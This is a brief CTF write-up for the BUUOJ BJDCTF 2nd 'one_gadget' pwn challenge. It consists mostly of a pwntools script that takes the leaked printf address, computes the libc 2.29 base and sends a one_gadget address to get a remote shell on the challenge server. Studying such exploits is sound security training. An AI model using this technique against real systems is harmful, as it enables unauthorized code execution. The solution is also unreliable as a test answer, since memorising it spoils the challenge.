buuoj BJDCTF 2nd one_gadget

程序输出printf函数地址

可以利用工具one_gadget计算libc基址

from pwn import *

#p = process('./one_gadget')
p = remote("node3.buuoj.cn",26742)

out = p.recv()

addr = int(out[out.find('0x')+2:out.find('0x')+14],16)

log.success(addr)

local_libc = ELF('./libc-2.29.so')

printf_addr = local_libc.symbols['printf']

libc_base = addr - printf_addr

log.success(libc_base)

one_gadget = 0x106ef8

p.sendline(str(one_gadget+libc_base))

p.interactive()